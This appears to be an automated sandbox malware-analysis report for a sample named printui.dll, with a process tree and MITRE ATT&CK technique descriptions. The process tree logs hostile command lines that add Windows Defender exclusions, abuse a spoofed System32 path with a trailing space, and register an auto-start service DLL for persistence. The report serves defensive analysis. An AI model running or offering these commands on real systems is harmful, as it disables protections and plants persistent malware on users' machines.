Commandline:	"C:\Windows \System32\printui.exe"
Imagebase:	0x7ff6a61d0000
File size:	64'000 bytes
MD5 hash:	2FC3530F3E05667F8240FC77F7486E7E
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	120
Start time:	06:15:42
Start date:	20/09/2024
Path:	C:\Windows \System32\printui.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows \System32\printui.exe"
Imagebase:	0x7ff6a61d0000
File size:	64'000 bytes
MD5 hash:	2FC3530F3E05667F8240FC77F7486E7E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	121
Start time:	06:15:42
Start date:	20/09/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd.exe /c powershell -Command "Add-MpPreference -ExclusionPath '%SystemDrive%\Windows \System32'; Add-MpPreference -ExclusionPath '%SystemDrive%\Windows\System32';"
Imagebase:	0x7ff6d94d0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	122
Start time:	06:15:42
Start date:	20/09/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	123
Start time:	06:15:42
Start date:	20/09/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell -Command "Add-MpPreference -ExclusionPath 'C:\Windows \System32'; Add-MpPreference -ExclusionPath 'C:\Windows\System32';"
Imagebase:	0x7ff788560000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	124
Start time:	06:15:50
Start date:	20/09/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd.exe /c sc create x841418 binPath= "C:\Windows\System32\svchost.exe -k DcomLaunch" type= own start= auto && reg add HKLM\SYSTEM\CurrentControlSet\services\x841418\Parameters /v ServiceDll /t REG_EXPAND_SZ /d "C:\Windows\System32\x841418.dat" /f && sc start x841418
Imagebase:	0x7ff6d94d0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	125
Start time:	06:15:50
Start date:	20/09/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	126
Start time:	06:15:50
Start date:	20/09/2024
Path:	C:\Windows\System32\sc.exe
Wow64 process (32bit):	false
Commandline:	sc create x841418 binPath= "C:\Windows\System32\svchost.exe -k DcomLaunch" type= own start= auto
Imagebase:	0x7ff717f10000
File size:	72'192 bytes
MD5 hash:	3FB5CF71F7E7EB49790CB0E663434D80
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	136
Start time:	06:15:51
Start date:	20/09/2024
Path:	C:\Windows\System32\Conhost.exe
Wow64 process (32bit):
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	148
Start time:	06:15:53
Start date:	20/09/2024
Path:	C:\Windows\System32\Conhost.exe
Wow64 process (32bit):
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Chronological Activities

Disassembly

⊘No disassembly

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse the Windows service control manager to execute malicious commands or payloads. The Windows service control manager ( `services.exe` ) is an interface to manage and manipulate services.The service control manager is accessible to users via GUI components as well as system utilities such as `sc.exe` and Net .
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Traffic Flow, Process: Process Creation, Service: Service Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may create or modify Windows services to repeatedly execute malicious payloads as part of persistence. When Windows boots up, it starts programs or applications called services that perform background system functions.Windows service configuration information, including the file path to the service's executable or recovery programs/commands, is stored in the Windows Registry.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Driver: Driver Load, File: File Metadata, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Creation, Service: Service Creation, Service: Service Modification, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary (ex: Ingress Tool Transfer ) may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Deletion
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to hide configuration information within Registry keys, remove information as part of cleaning up, or as part of other techniques to aid in persistence and execution.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse rundll32.exe to proxy execution of malicious code. Using rundll32.exe, vice executing directly (i.e. Shared Modules ), may avoid triggering security tools that may not monitor execution of the rundll32.exe process because of allowlists or false positives from normal operations. Rundll32.exe is commonly associated with executing DLL payloads (ex: `rundll32.exe {DLLname, DLLfunction}` ).
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for details about the network configuration and settings, such as IP and/or MAC addresses, of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp , ipconfig / ifconfig , nbtstat , and route .
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report printui.dll

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Networking

DDoS

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_5bh5ixnw.isb.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_bcbfpyxi.vwb.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_cg2echfa.pv4.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_de5aiwjm.jx4.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_dubdwjhh.rh1.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ewqnvvpi.xdb.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ftmd15e2.i3h.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_j5i0o1fz.ut0.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_jenxaf02.3qj.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_kcrf3q5b.kv2.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_mrq5dmzb.2ye.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_n1iormnn.qpp.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ndcnddt3.3c3.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_nxkyw3xq.0ep.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_pciveovo.q0q.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_retp33wl.1eo.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_usn2q0ff.dql.psm1

Windows Analysis Report
printui.dll

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre